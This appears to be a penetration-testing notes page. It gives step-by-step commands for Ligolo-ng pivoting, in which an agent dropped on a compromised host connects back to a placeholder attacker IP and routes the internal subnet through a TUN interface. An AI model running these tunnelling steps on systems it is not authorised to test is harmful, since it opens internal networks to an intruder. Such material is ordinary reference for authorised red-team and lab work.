> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# Ligolo-ng

TUN-based tunneling tool: routes traffic through a compromised host at the kernel level, so tools work natively without proxychains.

<Steps>
  <Step title="Create TUN interface (attacker, one-time setup)">
    Run once on your attack box to create the kernel tunnel interface.

    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    sudo ip tuntap add user $USER mode tun ligolo
    sudo ip link set ligolo up
    ```
  </Step>

  <Step title="Start the proxy listener (attacker)">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    sudo proxy -selfcert -laddr 0.0.0.0:11601
    ```
  </Step>

  <Step title="Deploy and run the agent (target)">
    Drop the agent binary on the compromised host and connect back to your proxy.

    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # Linux
    ./agent -connect <attacker_IP>:11601 -ignore-cert

    # Windows
    agent.exe -connect <attacker_IP>:11601 -ignore-cert
    ```
  </Step>

  <Step title="Select session and start tunnel (Ligolo console)">
    In the interactive Ligolo shell, select the connected session then start routing.

    ```wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    session
    start
    ```
  </Step>

  <Step title="Add route for the internal subnet (attacker)">
    Route the target's internal network through the ligolo interface so your tools reach it directly.

    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    sudo ip route add <internal_subnet>/24 dev ligolo
    ```
  </Step>
</Steps>